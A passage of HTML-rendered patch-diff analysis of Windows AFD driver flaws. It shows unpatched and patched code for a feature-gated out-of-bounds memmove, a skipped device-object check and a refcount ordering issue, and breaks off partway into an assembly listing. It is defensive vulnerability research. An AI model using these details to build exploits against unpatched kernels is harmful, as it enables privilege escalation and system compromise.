&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// FLAG OFF: clamps only to (MdlByteCount - offset); NO 0xa reservation&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;avail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;MdlAddress&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;avail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;MdlAddress&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// dst = ptr + 0xa can end up to 10 bytes past buffer&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;sizefield&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// identical in both builds&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED ===&lt;/span&gt;
&lt;span class="c1"&gt;// No feature flag; always the reserving clamp&lt;/span&gt;
&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// min(size - 0xa, len)&lt;/span&gt;
&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;sizefield&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 3: &lt;code&gt;AfdCreateConnection&lt;/code&gt; (High Type Confusion)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED ===&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_1552108857_59735561&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ObReferenceObjectByHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DEVICE_OBJECT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceAttachmentBaseRef&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connectionDevice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DEVICE_OBJECT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceAttachmentBaseRef&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IoGetRelatedDeviceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;handleObj&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000000D&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// flag off: comparison skipped entirely -&amp;gt; falls through to attach&lt;/span&gt;
&lt;span class="n"&gt;AfdIssueDeviceControl&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED ===&lt;/span&gt;
&lt;span class="c1"&gt;// No feature flag; comparison always runs when a handle is supplied&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ObReferenceObjectByHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DEVICE_OBJECT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceAttachmentBaseRef&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connectionDevice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DEVICE_OBJECT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceAttachmentBaseRef&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IoGetRelatedDeviceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;handleObj&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000000D&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;AfdIssueDeviceControl&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 4: &lt;code&gt;AfdAddConnectedReference&lt;/code&gt; (Low, feature-staged ordering)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED ===&lt;/span&gt;
&lt;span class="n"&gt;bts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// set state bit under lock&lt;/span&gt;
&lt;span class="n"&gt;KeReleaseInStackQueuedSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// lock released&lt;/span&gt;
&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// atomic increment after release&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED ===&lt;/span&gt;
&lt;span class="n"&gt;bts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_2476938553_60405306&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// atomic increment before release&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeReleaseInStackQueuedSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeReleaseInStackQueuedSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// old order retained&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt; copy-length clamp&lt;/h3&gt;
&lt;p&gt;Unpatched build (@ &lt;code&gt;0x1C006D7F0&lt;/code&gt;), the feature-gated clamp and copy:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D8CE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;ACh&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12b&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;end&lt;/span&gt;&lt;span class="n"&gt;point&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TLV&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r12b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;must&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D8D5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C006D96B&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D8F9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mapped&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D8FC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g_Feature_298020153_59190810_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D903&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D907&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MappedSystemVa&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; 